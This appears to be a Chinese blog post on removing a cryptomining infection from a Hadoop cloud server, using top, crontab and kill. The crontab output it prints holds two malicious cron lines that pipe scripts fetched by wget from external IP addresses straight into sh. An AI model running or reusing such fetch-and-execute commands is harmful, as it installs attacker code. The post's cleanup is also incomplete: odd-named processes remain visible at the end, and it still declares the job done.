解决云服务器CPU占用率接近100%问题

黑客通常利用云服务器开放的端口攻击云服务器,造成云服务器CPU占用率接近100%,云服务器CPU资源为黑客所用,例如:挖矿。

top命令查看资源使用情况

[hadoop@Master ~]$ top
...

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
25515 hadoop    20   0  176820   2740    428 S 96.7  0.1  22:29.82 java
 1332 root      20   0 2086940  85604   2452 S  0.7  4.5 735:08.85 java
 2347 hadoop    20   0     208     20      0 S  0.3  0.0   0:10.17 08ct58qfnma+
 3352 hadoop    20   0     208     36      0 S  0.3  0.0   0:51.95 34rol45oukei
 7512 mongod    20   0 1091048  81148   2064 S  0.3  4.3  44:48.20 mongod
 ...

发现CPU被一个25515的进程占用了96.7%(接近100%)占用。

按q键退出top监听

查看定时任务

[hadoop@Master ~]$ crontab -l
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
10 * * * * wget -q -O - http://89.35.39.78/1.sh | sh > /dev/null 2>&1

发现确实有定时任务,而且这个ip是陌生ip。有xx.sh脚本在后台运行。

删除定时任务

[hadoop@Master ~]$ crontab -r

再次查看定时任务

[hadoop@Master ~]$ crontab -l
no crontab for hadoop

用kill掉CPU占用率接近100%的进程

[hadoop@Master ~]$ kill -9 25515

再次用top命令查看资源使用情况 

[hadoop@Master ~]$ top
...
​
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 1965 hadoop    20   0 3129388 157000   1648 S  0.3  8.3  18:59.50 java
 5975 hadoop    20   0     208     44      0 S  0.3  0.0   1:26.53 id2mk0hrtdop
 ...

过几分钟再次用top命令查看

[hadoop@Master ~]$ top
...
​
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 1332 root      20   0 2086940  85628   2452 S  0.7  4.5 735:13.85 java
 8513 hadoop    20   0     208     40      0 S  0.3  0.0   1:08.88 fv7ed8qccns+
17228 hadoop    20   0     208     24      0 S  0.3  0.0   0:22.29 72t7j2itqvb+
 ...

总结:

CPU占用率接近100%的问题,通过top命令查出CPU占用率高的进程

如果没有定时任务,可以直接kill掉CPU占用率高的进程;

如果有定时任务,kill掉进程后,过一会top查看还会再次出现CPU 100%的问题,使用crontab -l命令查看发现有定时任务。crontab -r杀掉定时任务,再kill -9杀掉CPU占用率高的进程就ok了。

完成!enjoy it!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值